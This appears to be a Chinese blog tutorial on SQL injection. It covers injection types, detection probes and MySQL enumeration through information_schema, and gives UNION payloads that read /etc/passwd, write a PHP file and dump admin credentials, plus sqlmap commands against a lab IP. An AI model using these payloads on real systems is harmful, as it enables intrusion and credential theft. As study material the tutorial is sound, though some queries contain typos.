• SQL注入相关知识整理


    SQL注入相关知识整理

    一、SQL注入

    1、什么是SQL注入 

    SQL注入(Sql Injection )

    所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动

    SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

    主要是攻击者,利用被攻击页面的一些漏洞(通常都是程序员粗心大意造成的),改变数据库执行的SQL语句,从而达到获取“非授权信息”的目的。

    2、哪里存在SQL注入?

    • GET
    • POST
    • HTTP头部注入
    • Cookie注入

    任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。

    3、SQL注入的分类

    根据SQL数据类型分类

    • 整型注入
    • 字符串类型注入

    根据注入的语法分类

    • UNION query SQL injection(可联合查询注入)
    • Error-based SQL injection(报错型注入)
    • Boolean-based blind SQL injection(布尔型注入)
    • Time-based blind SQL injection(基于时间延迟注入)
    • Stacked queries SQL injection(可多语句查询注入)

    如何去判断SQL注入漏洞

    • and 1=1 / and 1=2 回显页面不同(整形判断)
    • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
    • (转义符)
    • -1/+1 回显下一个或上一个页面(整型判断)
    • and sleep(5) (判断页面返回时间)

    二、MySQL数据库的特性

    1、MySQL中3种注释风格

    • # (url编码为%23)
    • – (–后边要跟上一个或多个空格 -- -)
    • /* … */
    • /*! … */ 内联注释

    2、MySQL函数利用

    2.1常用函数

    • user()
    • database()
    • @@version
    • session_user()
    • @@basedir
    • @@datadir
    • @@version_compile_os

    。。。。。

    2.2load_file( )函数 读文件操作

    前提

    • 知道文件绝对路径
    • 能够使用union查询
    • 对web目录有写权限
    • UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
    • UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

    2.3into outfile( )写文件操作

    前提

    • 文件名必须全路径(绝对路径),
    • 用户必须有写文件的权限
    • 没有对 ‘ 引号过滤

    SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:Windows mp1.php’

    2.4连接字符串函数

    • concat(str1,str2)
    • concat_ws(separator, str1,str2…)
    • group_concat(str1,str2…)

    3、MySQL中information_scheme库

    SCHEMATA表
    字段:SCHEMA_NAME
    TABLES表
    字段:TABLE_SCHEMA, TABLE_NAME
    COLUMNS表
    字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

    4、MySQL中UNION规则

    • UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
    • UNION中的每个查询必须包含相同的列。
    • UNION会从查询结果集中自动去除了重复行。

    UNION query SQl injection

    利用前提

    页面上有显示位

    优点:
    方便、快捷、易于利用
    缺点:
    需要显示位

    步骤
    判断列数

    order by 10
    order by 20
    order by 15
    …

    判断显示位

    url?id=-1 union select 1,2,3,4,5

    获取当数据库名称和当前连接数据库的用户

    url?id=-1 union select 1,2,databaes(),4,5
    url?id=-1 union select 1,2,user(),4,5

    5、数据库例举

    5.1列出所有数据库

    limit 一个一个打印出来库名

    select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

    group_concat 一次性全部显示

    select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

    5.2列出(数据库:test)中所有的表

    limit 一个一个打印出来字段名

    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
    limit 0,1

    group_concat 一次性全部显示

    select group_concat(TABLE_NAME) from information_schema.TABLES where
    TABLE_SCHEMA=0x674657374

    注意:数据库名称可以用十六进制(hex编码)来代替字符串,这样可以绕过单引号的限制。

    5.3列出(数据库:test 表:admin )中所有的字段

    limit 一个一个打印出来

    select COLUMN_NAME from information_schema.COLUMNS where
    TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1

    group_concat 一次性全部显示

    select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
    TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

    5.4列出(数据库:test 表:admin )中的数据

    limit 一个一个打印出来

    select username,passwd from test.admin limit 0,1

    group_concat 把 一次性全部打印

    select group_concat(concat(username,0x20,passwd)) from test.admin
    network

    三、实例

    利用sqlmap的SQL注入实验(sqlmap用法

    SQL注入就是通过把SQL(Structured Query Language,结构化查询语言)命令插入到提交的Web表单或输入域名或页面请求的查询字符串中,达到欺骗服务器执行恶意的SQL命令的目的。

    对于一个存在数据库安全漏洞的网站,SQL注入攻击一般通过构建特殊的输入作为参数传入Web应用程序,使得构造的SQL语句能够在服务器端执行,进而得到攻击者所要的结果,而不是按照设计者意图去执行SQL语句。系统受到SQL注入攻击的主要原因是程序没有细致地过滤用户输入的数据,直接将提交的参数拼接到SQL语句中解析,导致特殊构造的SQL语句可以在服务器端被执行。

    sqlmap是一个由Python语言开发的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。sqlmap常用的注入方法有以下几种:

    1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
    2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
    3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
    4. 联合查询注入,可以使用union的情况下的注入;
    5. 堆查询注入,可以同时执行多条语句的执行时的注入。
    输入“python sqlmap.py --version”检查sqlmap是否安装成功
    输入“python sqlmap.py -hh”, “-hh”参数用于查看sqlmap的使用说明
    输入“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数用于指定注入点的URL。
    输入“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”用于列举数据库。
    输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”用于指定数据库名称,“--tables”参数用于列举表。
    输入“python sqlmap.py -u "http:// 192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”用于指定表名称,“--columns”参数用于指定列出表中字段。
    输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”用于指定字段名称,参数“—dump”用于导出数据。
    小丑竟是我自己
  • 相关阅读:
    求树的直径算法
    二叉排序树BST+求树深度算法
    HDU1114Piggy-Bank(完全背包)
    HDU1102(最小生成树Kruskal算法)
    NYoj289苹果(0-1背包)
    NYOJ201作业题
    C#发送邮件附件
    JS用户登录保存账号密码
    远程连接服务器
    博客园页面更新了
  • 原文地址:https://www.cnblogs.com/lspbk/p/14413769.html
Copyright © 2020-2023  润新知